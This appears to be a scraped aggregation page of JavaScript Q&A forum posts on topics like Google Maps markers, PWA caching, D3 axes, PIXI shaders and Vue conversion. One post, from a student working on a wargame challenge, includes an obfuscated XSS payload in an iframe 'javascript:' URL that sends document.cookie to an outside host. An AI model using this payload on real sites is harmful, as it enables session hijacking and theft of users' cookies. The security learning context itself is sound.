Category: javascript

Category Added in a WPeMatico Campaign

Google Maps API V3 multiple markers

I have a map that is pulling in locations for markers from a .json file every 5 seconds. I have the code completed to add the markers based on the .json file, but it is just creating new markers over and over again and not deleting the old markers. I know that code is missing from my code, but I can’t seem to find the proper code that would clear out all existing markers; seems things changed from V2 to V3.

async function initMap() {
    const { Map, InfoWindow, KmlLayer } = await google.maps.importLibrary("maps");
    const { Marker } = await google.maps.importLibrary("marker");
    map = new Map(document.getElementById("map"), {
      mapId: "####",
      center: { lat: ###, lng: ### },
      zoom: 14,
    });

  const busicon = "https://maps.google.com/mapfiles/ms/icons/bus.png";
  
  const infoWindow = new InfoWindow();

  function setMarker() {
  var results = data.data.length
  for (let i = 0; i < results; i++){
    var busid = data.data[i].id;
    var buslat = data.data[i].latitude;
    var buslong = data.data[i].longitude;
    const marker = new Marker({
      map: map,
      position: { lat: buslat, lng: buslong },
      icon: busicon,
      title: busid
    });
    // Add a click listener for each marker, and set up the info window.
    marker.addListener("click", ({ domEvent, latLng }) => {
    const { target } = domEvent;

    infoWindow.close();
    infoWindow.setContent(marker.title);
    infoWindow.open(marker.map, marker);
    });
  };
  };

  setMarker()
  setInterval(setMarker,5000)

initMap();

I tried including a setMap() in there, but it seems that doesn’t work anymore with V3.

PWA: Pre-Cashing of Javascript Module Files not Working

I have implemented pre-caching of some files in my progressive web app. It is working for all other files except javascript module files. When I go offline, these files are not found in cache, although I can see them in the cache in the browsers’ developer tool. The affected files are those that are loaded using import or loaded using

<script type="module" src="/js/xxx.js"></script>

All the other files are available offline including the javascript files that are not loaded as modules. My fetch event is implemented as follows:

// fetch event
self.addEventListener('fetch', evt => {
        evt.respondWith(
            caches.match(evt.request).then(cacheRes => {
                console.log('**Request URL-->' + evt.request.url, cacheRes);
                **//cacheRes always returning 'undefined' for javascript module files 
                //although i can see them in browser cache**
                return cacheRes || fetch(evt.request).then(fetchRes => {
                    //other code .....
                });
            }).catch(() => {
                    //handle error .....
            })
        );
});

What could be the problem ?

How to convert the following JavaScript code to Vue.js?

I have a JavaScript code and I am trying to convert it to Vue.js. I’m also looking to implement this code to Laravel.

<body>

    <div class="search-box">
        <div class="row">
            <input type="text" id="input-box" placeholder="Search..." autocomplete="off">
            <button><i class="fa-solid fa-magnifying-glass"></i></button>
        </div>
        <div class="result-box">
        </div>
    </div>

<script>

let availableKeywords = [
    'HIV 1 & 2',
    'Herpes Type 1 & 2',
    'Hemoglobin A1c',
    'Vitamin B12',
    'Apolipoprotein Assessment (A1 & B)',
    'Hemoglobin A1c with Estimated Average Glucose',
    '10 Panel + ETG 500 Urine Drug Test'
];

const resultBox = document.querySelector(".result-box");
const inputBox = document.getElementById("input-box");

inputBox.onkeyup = function() {
    let result = [];
    let input = inputBox.value;
    if (input.length) {
        result = availableKeywords.filter((keyword) => {
            return keyword.toLowerCase().includes(input.toLowerCase());
        });
        console.log(result)
    }
    display(result);
}

function display(result) {
    const content = result.map((list) => {
        return "<li onclick=selectInput(this)>" + list + "</li>";
    });

    resultBox.innerHTML = "<ul>" + content.join('') + "</ul>";
}

</script>

</body>

Basically, I also need to create frame() function but I am quite new in Vue so I couldn’t figure it out.

What is javascript Schema bypass special string “14”?

I’m Korean highschool student.
I’m sorry about short grammar and context. Thank you 🙂

I learn about web vulnerability, XSS filter bypass.
I want use “14”. One people say, ‘if you use “14”, you must use 1byte. Not 2byte’.

exploit code

<iframe src = "javascu0072ipt:locatiu006fu006e.href='http://qwerty?a='+u0064ocument.cookie"></iframe>

Before the java character is “14”. But i must use 1byte Special Character instead of char “14”

Thank you for reading even the strange article, and I would really appreciate it if you could help me :((((

wargame url = https://dreamhack.io/wargame/challenges/434/ One people

= https://dreamhack.io/forum/qna/2212

I try a lot of try…..
Char “14” is not work… One people say, it just work speacial character ” “.
I want write ” ” and i want to know it..

process.env.REACT_APP value ignored to be used as a component prop in a react app

I made a lot of experiments to find out way is not working but no success at all..
Any idea what can be wrong?

  let smallerThan = process.env.REACT_APP_SMALLER_THAN;
  console.log('smallerThan', smallerThan);               // print 3, which is the right value given in .env

but the value of smallerThan is not forwarded to the component prop

 <ApexChart smallerThan={smallerThan} />

If I use

localStorage.setItem('smallerThan_Id', e.target.value);
let smallerThan = localStorage.getItem('smallerThan_Id');

is work well

Confirm windows calls many times

I made a to-do list and wanted a confirm window to pop up every time I clicked on a task, asking if the user wanted to delete it. And everything seems to work, but if the task is the first in the list, then the window with the question is called once, if the task is the second in the list, then the window is already called twice, etc.

Can you help me fix this problem or point me in the right direction, please

addButton = document.getElementById('addButton');
taskInput = document.getElementById('taskInput');
taskList = document.getElementById('taskList');

    function addTheTask() {
        listItem = document.createElement('li');
        listItem.textContent = taskInput.value;
        taskList.appendChild(listItem);
        const taskListElements = document.querySelectorAll('ul li');
        const arrItems = Array.from(taskListElements);
        arrItems.forEach(element => {
                element.addEventListener('click', () => {
                        element.remove();
                        let question = window.confirm(`Do you realy want to delete this task? '${element.textContent}'`)
                })    
            }
        );
        taskInput.value = '';
    }

jQuery DataTables not having all post values when using datetime picker

I am using jQuery Datatables, and am trying to combine it with a datetime picker (https://miamarti.github.io/Material-DateTimePicker/).

My filters at the top are custom coded, but it does not appear to be causing the problem.

The filters are constructed like this, when not using the datetime picker (dates hardcoded for explanation):

PHP

$filters['Staged Date'] = [
    'column' => 16,
    'id' => 'stage_date',
    'name' => 'stage_date',
    'options' => [
        '2023-07-01 00:00:00' => '2023-07-01 00:00:00',
        '2023-07-02 00:00:00' => '2023-07-02 00:00:00',
        '2023-07-03 00:00:00' => '2023-07-03 00:00:00'
    ]
];

However, when using the datepicker, the code changes to this:

PHP

$filters['Staged Date'] = [
    'column' => 16,
    'class' => 'timepickerfield',
    'text_field' => true,
    'id' => 'stage_date',
    'name' => 'stage_date',
    'options' => []
];

Javascript/jQuery

    $('#stage_date').bootstrapMaterialDatePicker({
        format : 'YYYY-MM-DD HH:mm',
        switchOnClick : true,
        weekStart : 0
    }).on('close', function(e) {
        $('#stage_date').val($(this).val() + ':00').trigger('change');
        var table = $('#dt-transaction-list').DataTable();
        table.ajax.reload();
    });

I know the ‘close’ event is firing, because the datetime picker field is updated with the ‘:00’ at the end of the date after selection. I can also see that the table is reloading. There are no errors in my console either.

Without the datetime picker the POST data looks like this (shortened with relevant data only):

Array
(
    [columns] => Array
        (
            ...
            [16] => Array
                (
                    [data] => stage_date
                    [name] => stage_date
                    [searchable] => true
                    [orderable] => true
                    [search] => Array
                        (
                            [value] => 2023-07-03 00:00:00
                            [regex] => false
                        )

                )
            ...
        )
)

But with the datetime picker, the value index of columns > 16 > search > value is blank.

Any ideas, please? I am going more grey by the minute.

Node is not able to run a Command Line: mecab

I am trying to run this code from this repo node-mecab

for analyzing japanese text

import { analyze } from "@enjoyjs/node-mecab";

const result = await analyze("こんにちは世界");
console.log(result);`

error = new Error(message);
                
Error: Command failed with exit code 1: mecab
'mecab' not recognized as an internal command or external, an operable program or a batch file.

    at makeError (c:UserszharkOneDrivedesktopAnime SubtitlesmecabNodenode_modulesexecaliberror.js:60:11)
    at handlePromise (c:UserszharkOneDrivedesktopAnime SubtitlesmecabNodenode_modulesexecaindex.js:118:26)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
    at async u (file:///c:/Users/zhark/OneDrive/desktop/Anime%20Subtitles/mecabNode/node_modules/@enjoyjs/node-mecab/lib/index.mjs:1:810)
    at async file:///c:/Users/zhark/OneDrive/desktop/Anime%20Subtitles/mecabNode/index.js:3:16 {
  shortMessage: 'Command failed with exit code 1: mecab',
  command: 'mecab',
  escapedCommand: 'mecab',
  exitCode: 1,
  signal: undefined,
  signalDescription: undefined,
  stdout: '',
  stderr: "not recognized as an internal command or external, an operable program or a batch file.',
  failed: true,
  timedOut: false,
  isCanceled: false,
  killed: false
}

Node.js v18.14.2

I tried using Python library for MeCab and it succeeds to run CLI commands, it seems to be a problem with Node.js settings.

I use Windows System and WindosTerminal/gitbash, I can manually run mecab CLI, but not with Node.js so I have no idea where to start solving this problem

I a beginner and not well familiarized with Python that’s why I need to work with node/js in order to successfully manipulate japanese texts.

XMLSerializer.serializeToString has a bug on process script tag

const svg = document.createElement('svg')
svg.appendChild(document.createElement('script'))
new XMLSerializer().serializeToString(svg)
// '<svg xmlns="http://www.w3.org/1999/xhtml">x3Cscript data-assets-retry-hooked="true">x3C/script></svg>'

the code string <script> becomes to x3Cscript> and </script> becomes to x3C/script> ，the result is not right how can i fix this?

it shold be like this

<svg xmlns="http://www.w3.org/1999/xhtml"><script data-assets-retry-hooked="true"></script></svg>

Was the PIXI.Shader Class (re)moved in PIXI Version 7

I want to use the following tutorial for my project:
https://codepen.io/ivanpopelyshev/pen/jOWLjKd

const width = window.innerWidth;
const height = window.innerHeight;

const app = new PIXI.Application({ width, height});
document.body.appendChild(app.view);

const shaderCode = document.getElementById("fragShader").innerHTML;

//Our textures are up on github
var textureURL = "https://raw.githubusercontent.com/tutsplus/Beginners-Guide-to-Shaders/master/Part3/images/blocks.JPG"
var normalURL = "https://raw.githubusercontent.com/tutsplus/Beginners-Guide-to-Shaders/master/Part3/normal_maps/blocks_normal.JPG"

//Load in the texture and the normal
var texture = PIXI.Texture.from(textureURL);
var normal = PIXI.Texture.from(normalURL);


//Set up the uniforms we'll send to our share
//More info on uniform types: https://threejs.org/docs/#Reference/Materials/ShaderMaterial
var uniforms = {
  tex : texture,//The texture
  norm: normal,//Normal
  res : new Float32Array([window.innerWidth,window.innerHeight]),//Keeps the resolution
  light: new Float32Array(4),//Our light source, we will use the 3 numbers as have x,y and height away from the screen. 4th value is whether the light is on or not
}
//We stick our shader onto a 2d plane big enough to fill the screen

const material = new PIXI.Shader.from(null, shaderCode, uniforms)
const geometry = new PIXI.Geometry()
geometry.addIndex([0,1,2,0,2,3])
geometry.addAttribute('aVertexPosition', // the attribute name
        [0, 0, width, 0, width, height, 0, height], // x, y
        2);
//those are UV's in default vertex shader
geometry.addAttribute('aTextureCoord', // the attribute name
        [0, 0, 1, 0, 1, 1, 0, 1], // x, y
        2)
const mesh = new PIXI.Mesh( geometry,material );
//Add it to the scene
// scene.add( sprite );
app.stage.addChild(mesh)

uniforms.light[2] = 0.3;//How high up our light source should be
uniforms.light[3] = 1.0;//Turn light on

mesh.interactive = true;
mesh.on('mousemove', (event) => {
    // coords are event.data.global, but we transform them 
    // in case you move mesh somewhere else (position, scale)
    const point = event.data.getLocalPosition(mesh);
  //Update the light source to follow our mouse
  uniforms.light[0] = point.x / width;
  uniforms.light[1] = point.y / height;
});

mesh.on('mousedown', (event) => {
  if(uniforms.light[3])
     uniforms.light[3] = 0.0;
  else uniforms.light[3] = 1.0;
})

However, it does not work anymore as soon as I use the latest Version 7 of pixi.js.

It says “Uncaught TypeError: PIXI.Shader.from is not a constructor”. But when I read the docs I still see the PIXI.Shader.from function unchanged.

Does anyone know what has changed that this does not work anymore?

Using highlight.js in Figma plugin

So, I am writing a Figma plugin, that generates the code of a Figma-Component, and then outputs it inside the Figma Plugin Window. To improve the visuals, I’d like to add syntax-highlighting. Here is a simplified version of my program.

<DOCTYPE html>
  <html lang="en">
    <head>
      <script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/highlight.min.js"></script>
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/styles/monokai.min.css" />
    </head>
    <body>
      <!--Unimportant stuff-->
      <div>
        <pre><code id="snippet" class="language-html"></code></pre>
      </div>
    </body>
  </html>
  <script>
    onmessage = (event) => {
      let code = "hello world";
      let snippet = document.querySelector("#snippet");
      snippet.textContent = code; 
      //I am using textContent, because it didn't work with innerHTML when you plug in HTML-code
      //So far the program works fine.
      hljs.highlightAll()
      //this is where the problems arise...
    }
  </script>
</DOCTYPE>

I tried multiple hljs commands (highlightElement, highlightAll, …), and either I get an error “hljs is undefined” or it just doesn’t do anything.

How to customly reorder tick values on x-axis in D3?

I would like to create a line plot where x-axis tick labels start from 12:00 to 00:00 and ends at 11:59. My data sorted so that TIME starts from 12:00 and ends at 11:59. This is the plot I end up: enter image description here

I am not sure why the straight line, and the line on the left axis of line plot pops up. How can I solve this issue? I expect to see the line plot, x-axis represents TIME column and starts from 12:00, and ends at 11:59. The line should be nice.

To solve thiss issue, I changed the xAxis domain to .domain([parseTime("12:00:00"), parseTime("23:59:00")]) But that weird straight line and lefgt line of theplot pops. up. I appreciate any hints.


<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>D3 CSV Example</title>
  <script src="https://d3js.org/d3.v7.min.js"></script>
  <style>
    /* LINE CHART */
    .line {
      fill: none;
      stroke: #ed3700;
    }
  </style>
</head>
<body>
  <h1>D3 CSV Example</h1>
  <script>
    // Set up the SVG container
    const svgWidth = 600;
    const svgHeight = 400;
    const margin = { top: 20, right: 30, bottom: 40, left: 50 };
    const chartWidth = svgWidth - margin.left - margin.right;
    const chartHeight = svgHeight - margin.top - margin.bottom;

    const svg = d3
      .select("body")
      .append("svg")
      .attr("width", svgWidth)
      .attr("height", svgHeight);

    const chart = svg
      .append("g")
      .attr("transform", `translate(${margin.left}, ${margin.top})`);

    // Load the data from CSV
    d3.csv("reordered_synthetic_data.csv").then(function (data) {
      // Parse the date string and extract only the time as hours and minutes
      const parseTime = d3.timeParse("%H:%M:%S");

      // Convert data types
      data.forEach(function (d) {
        d.TIME = parseTime(d.TIME);
        d.VALUE1 = +d.VALUE1;
        d.INSPECTION = +d.INSPECTION;
      });

     let visit1 = data.filter(d => d.INSPECTION == 1);


// Set up scales
const xScale = d3
  .scaleTime()
  .domain([parseTime("12:00:00"), parseTime("23:59:00")]) // Set the domain manually
  .range([0, chartWidth]);

const yScale = d3
  .scaleLinear()
  .domain([0, 180])
  .range([chartHeight, 0]);

      // Set up axes
      const xAxis = d3.axisBottom(xScale)
        .tickFormat(d3.timeFormat("%H:%M")); // Format the tick labels to display hour:minute

      const yAxis = d3.axisLeft(yScale);

      // Add axes to the chart
      chart
        .append("g")
        .attr("class", "x-axis")
        .attr("transform", `translate(0, ${chartHeight})`)
        .call(xAxis);

      chart.append("g").attr("class", "y-axis").call(yAxis);

      // Define the line function
      const line = d3
        .line()
        .x((d) => xScale(d.TIME))
        .y((d) => yScale(d.VALUE1));


      // Draw the line chart
      chart
        .append("path")
        .datum(visit1)
        .attr("class", "line")
        .attr("d", line);
    });


  </script>
</body>
</html>

You can find my CSV file:

DATE_TIME,ID,HOUR,MINUTE,VALUE1,VALUE2,TIME,INSPECTION,seconds
2018-11-01 12:00:00,1,12,0,82.4818356370727,87.65532538616083,12:00:00,1,720
2018-11-01 12:20:00,1,12,20,114.36084687826856,89.76606638044296,12:20:00,1,740
2018-11-01 12:40:00,1,12,40,149.2745234585085,78.59914264907545,12:40:00,1,760
2018-11-01 13:00:00,1,13,0,118.46198153923852,71.602023294704,13:00:00,1,780
2018-11-01 13:20:00,1,13,20,113.47363946789812,82.9802315554754,13:20:00,1,800
2018-11-01 13:40:00,1,13,40,124.52765200932272,79.25241460867473,13:40:00,1,820
2018-11-01 14:00:00,1,14,0,144.94079558959947,65.9708531211893,14:00:00,1,840
2018-11-01 14:20:00,1,14,20,154.4860403982185,62.47993589006475,14:20:00,1,860
2018-11-01 14:40:00,1,14,40,103.05095426442168,79.12278561261758,14:40:00,1,880
2018-11-01 15:00:00,1,15,0,88.71000005665377,72.63269391153845,15:00:00,1,900
2018-11-01 15:20:00,1,15,20,118.38725463585833,68.35955256035255,15:20:00,1,920
2018-11-01 15:40:00,1,15,40,90.35575706090954,84.996720275759,15:40:00,1,940
2018-11-01 16:00:00,1,16,0,119.53679642856682,64.48688419793011,16:00:00,1,960
2018-11-01 16:20:00,1,16,20,135.27829999848916,74.48257447199506,16:20:00,1,980
2018-11-01 16:40:00,1,16,40,155.48291761113225,83.72128851838752,16:40:00,1,1000
2018-11-01 17:00:00,1,17,0,85.96341780030743,87.73333389566491,17:00:00,1,1020
2018-11-01 17:20:00,1,17,20,148.20928658532694,68.51872403107251,17:20:00,1,1040
2018-11-01 17:40:00,1,17,40,112.90401161612893,78.71422067548829,17:40:00,1,1060
2018-11-01 18:00:00,1,18,0,87.24314271333824,85.14578512967933,18:00:00,1,1080
2018-11-01 18:20:00,1,18,20,159.98777892013288,73.91122953488058,18:20:00,1,1100
2018-11-01 18:40:00,1,18,40,134.132508027465,62.87714757838526,18:40:00,1,1120
2018-11-01 19:00:00,1,19,0,93.8475785922444,85.87709920539899,19:00:00,1,1140
2018-11-01 19:20:00,1,19,20,87.96494807670916,64.32810207816041,19:20:00,1,1160
2018-11-01 19:40:00,1,19,40,96.85350185792925,87.67564666896372,19:40:00,1,1180
2018-11-01 20:00:00,1,20,0,150.49329018102594,75.28292350135503,20:00:00,1,1200
2018-11-01 20:20:00,1,20,20,132.90939839406852,67.6641419034086,20:20:00,1,1220
2018-11-01 20:40:00,1,20,40,80.28565707426297,54.21677488141204,20:40:00,1,1240
2018-11-01 21:00:00,1,21,0,86.51819145398362,76.47547776446376,21:00:00,1,1260
2018-11-01 21:20:00,1,21,20,100.58643623741963,54.02216986378453,21:20:00,1,1280
2018-11-01 21:40:00,1,21,40,109.88077988150214,88.83099789311015,21:40:00,1,1300
2018-11-01 22:00:00,1,22,0,133.64148337171653,86.82795237554191,22:00:00,1,1320
2018-11-01 22:20:00,1,22,20,141.1790901060669,55.91956277329068,22:20:00,1,1340
2018-11-01 22:40:00,1,22,40,106.49414930906852,74.54271614590431,22:40:00,1,1360
2018-11-01 23:00:00,1,23,0,140.44553457410672,78.3447955131424,23:00:00,1,1380
2018-11-01 23:20:00,1,23,20,102.26703222395386,54.51054689408265,23:20:00,1,1400
2018-11-01 23:40:00,1,23,40,138.07031707200693,80.52691368274375,23:40:00,1,1420
2018-11-01 00:00:00,1,0,0,131.8403388480975,163.40706930229612,00:00:00,1,0
2018-11-01 00:20:00,1,0,20,128.66143180880016,182.4166850946821,00:20:00,1,20
2018-11-01 00:40:00,1,0,40,157.9838672230082,177.12826879097582,00:40:00,1,40
2018-11-01 01:00:00,1,1,0,154.74491894762372,177.0205615343229,01:00:00,1,60
2018-11-01 01:20:00,1,1,20,145.17425322202857,170.28572211898427,01:20:00,1,80
2018-11-01 01:40:00,1,1,40,86.33692934233684,161.306233500133,01:40:00,1,100
2018-11-01 02:00:00,1,2,0,157.70472270832147,175.57007397898963,02:00:00,1,120
2018-11-01 02:20:00,1,2,20,92.04378773072384,152.75885569609832,02:20:00,1,140
2018-11-01 02:40:00,1,2,40,94.91482763887927,164.34713115356462,02:40:00,1,160
2018-11-01 03:00:00,1,3,0,150.58752716935703,152.5739950034875,03:00:00,1,180
2018-11-01 03:20:00,1,3,20,147.64763286003245,181.7346317353725,03:20:00,1,200
2018-11-01 03:40:00,1,3,40,152.00311766772614,169.43438782829136,03:40:00,1,220
2018-11-01 04:00:00,1,4,0,90.67568616871652,165.94364405219295,04:00:00,1,240
2018-11-01 04:20:00,1,4,20,127.6260776280666,154.41327889693227,04:20:00,1,260
2018-11-01 04:40:00,1,4,40,88.35193693321801,86.7514997924824,04:40:00,1,280
2018-11-01 05:00:00,1,5,0,99.44723697225662,61.81705113015809,05:00:00,1,300
2018-11-01 05:20:00,1,5,20,153.28490595395064,70.71671056760238,05:20:00,1,320
2018-11-01 05:40:00,1,5,40,139.53124376248127,86.96902617467873,05:40:00,1,340
2018-11-01 06:00:00,1,6,0,144.5960580946409,53.46091762212306,06:00:00,1,360
2018-11-01 06:20:00,1,6,20,110.0561197803852,73.32550566412914,06:20:00,1,380
2018-11-01 06:40:00,1,6,40,151.21482961729612,50.85883825605632,06:40:00,1,400
2018-11-01 07:00:00,1,7,0,127.88766918064591,52.45266678876003,07:00:00,1,420
2018-11-01 07:20:00,1,7,20,148.72830141013,60.496196118302194,07:20:00,1,440
2018-11-01 07:40:00,1,7,40,83.62908148257569,86.54612924908034,07:40:00,1,460
2018-11-01 08:00:00,1,8,0,113.49475177931872,59.15439348393694,08:00:00,1,480
2018-11-01 08:20:00,1,8,20,139.37377082538475,86.1347823168292,08:20:00,1,500
2018-11-01 08:40:00,1,8,40,104.5216263376223,86.92624219265554,08:40:00,1,520
2018-11-01 09:00:00,1,9,0,152.55680056900144,60.938994790632144,09:00:00,1,540
2018-11-01 09:20:00,1,9,20,140.38896796205978,56.19504976107255,09:20:00,1,560
2018-11-01 09:40:00,1,9,40,135.79579769996857,62.50941443441722,09:40:00,1,580
2018-11-01 10:00:00,1,10,0,139.82904911416367,55.70678841865249,10:00:00,1,600
2018-11-01 10:20:00,1,10,20,91.69787531743796,60.136426910820354,10:20:00,1,620
2018-11-01 10:40:00,1,10,40,96.81085932421924,80.24824051838286,10:40:00,1,640
2018-11-01 11:00:00,1,11,0,100.11254271252508,60.56291710797137,11:00:00,1,660
2018-11-01 11:20:00,1,11,20,92.56760281588778,71.09234847495347,11:20:00,1,680
2018-11-01 11:40:00,1,11,40,100.3186503333999,72.55516506446128,11:40:00,1,700

Absolute div gets cut with parent div. Fix or provide an alternative

on hovering an absolute div gets cut by its parent div.

enter image description here

css of hovered div ;
.hovering-card{
    font-size: large;
    position: absolute;
    z-index: 999;
    min-width: 23rem;
    height: 13rem;
    background-color: rgb(25, 29, 29);
}


the card: 
<Card onMouseOver={() => setHovered(true)} onMouseLeave={() => setHovered(false)} className="movie-card">
                <Card.Img  className="movie-card-img" variant="top" src={props.source} />
             { hovered && (
                <div className="hovering-card">
                    <p>This is a hovering card</p>
                    <p>Like</p>
                    <p>Share</p>
                    <p>9/10</p>
                </div>
            )}
 </Card>

I want the whole div to be visible on top:-50px. The div’s expanding only bottom and right, i want to lift it from the bottom side. On trying to move it to the top it gets cut and the upper part of the div disappers.

Can a ajax handler return on behalf of a calling function in the same file? [closed]

Lets say A.js calls a function “B.isSuccess()” under B.js and is dependent on its return value.
However only late did I understand that the return value will be captured only by another ajax handler in B.js, which is not called from “isSuccess” fn.

Is there any way my isSuccess fn. can still get hold of the ajax response handler in the same file and pass it back to A.js calling fn. to proceed further ?

Understood that some Promise or Async/Await has to be used but they need to be passed from A.js